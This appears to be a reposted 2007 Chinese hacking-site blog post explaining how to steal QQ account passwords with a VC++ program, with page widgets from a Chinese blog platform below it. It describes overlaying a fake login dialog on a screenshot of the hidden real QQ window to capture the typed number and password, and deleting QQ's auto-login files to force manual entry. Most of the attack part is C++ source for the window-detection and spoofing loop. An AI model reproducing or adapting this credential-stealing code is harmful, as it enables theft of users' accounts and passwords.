VC++获取QQ密码 (07年的文章,对于现在的QQ版本 已经失效)

日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。 

  网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。  

  然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下: 


//根据进程ID得到进程名称  
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)  
{  
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  
    PROCESSENTRY32 pe;  
    pe.dwSize = sizeof(PROCESSENTRY32);  
    if (!Process32First(hSnapshot, &pe)) {  
        return FALSE;  
    }  
    while (Process32Next(hSnapshot, &pe)) {  
        if (pe.th32ProcessID == PID) {  
            strcpy(lpszProcessName, pe.szExeFile);  
   return true;  
        }  
    }  
   
    return FALSE;  
}     
     
//查找QQ登录窗口  
void QQFind()  
{  
 HWND  hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;  
 HWND ButtonLogin = NULL, ButtonCancel = NULL;  
 char sTitle[255];  
 CString ss;  
 DWORD QQPID;  
 int LoginID;  
 BOOL find = FALSE;  
 do  
 {   
  //获得当前激活窗口的句柄  
  g_hWnd = GetForegroundWindow();  
  GetWindowThreadProcessId(g_hWnd, &QQPID);  
  //根据PID获得进程名  
  processIdToName(sTitle, QQPID);  
  ss = sTitle;  
  ss.MakeLower();  
  //判断是否QQ  
  if(ss != "qq.exe")  
  {  
   Sleep(100);  
   continue;  
  }  
    
  //获得标题文字,判断是否登陆对话框  
  SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);  
  ss = sTitle;  
  int n = ss.Find("QQ", 0);  
  int m = ss.Find("登录", 0);  
  if(n >= 0 || m >= 0)  
  {  
   //查找QQ登陆按钮的句柄  
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");   
   LoginID = GetDlgCtrlID(ButtonLogin);  
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");   
   LoginID = GetDlgCtrlID(ButtonLogin);  
   //获得QQ登陆按钮窗口位置  
   GetWindowRect(ButtonLogin, &g_qqLogin);  

   //查找QQ取消按钮的句柄  
   ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");  
   //获得QQ取消按钮窗口位置  
   GetWindowRect(ButtonCancel, &g_qqCancel);  

   //查找QQ密码输入框的句柄  
   hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);   
   if(hWnd1 != NULL)   
   {  
    qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);  
    //获得QQ密码输入框窗口位置  
    GetWindowRect(qqPass_hWnd, &g_qqPassRt);       
   }  
     
   //查找QQ号码输入框的句柄  
   hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);  
   if(hWnd1 != NULL)   
   {  
    qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);  
    //获得QQ号码输入框窗口位置  
    GetWindowRect(qqID_hWnd, &g_qqIDRt);  
    //获得当前默认QQ号码  
    SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);  
   }  
     
   //等待QQ窗口完全出现后抓取整个屏幕  
   Sleep(100);  
   g_DlgRt.left = 0;  
   g_DlgRt.top = 0;  
   g_DlgRt.right = m_xScreen;  
   g_DlgRt.bottom = m_yScreen;     
   g_pBitmap = CopyScreenToBitmap(&g_DlgRt);  
     
   //设置QQ窗口为不可见  
   ShowWindow(g_hWnd, SW_HIDE);  
     
   //弹出我们创建的伪造对话框  
   HINSTANCE hInstance = GetModuleHandle(NULL);  
   DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);  
     
   //设置QQ窗口为可见  
   ShowWindow(g_hWnd, SW_SHOW);  

   //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮  
   SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);  
   SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);  
   SendMessage(ButtonLogin, BM_CLICK, 0, 0);  

   DeleteObject(g_pBitmap);  
   //设置标志退出循环  
   find = true;  
  }  
    
 }  

 while(find == FALSE);  


截图如下:  
本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://hackbase.com/tech/2007-11-17/16019694511/ 
好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值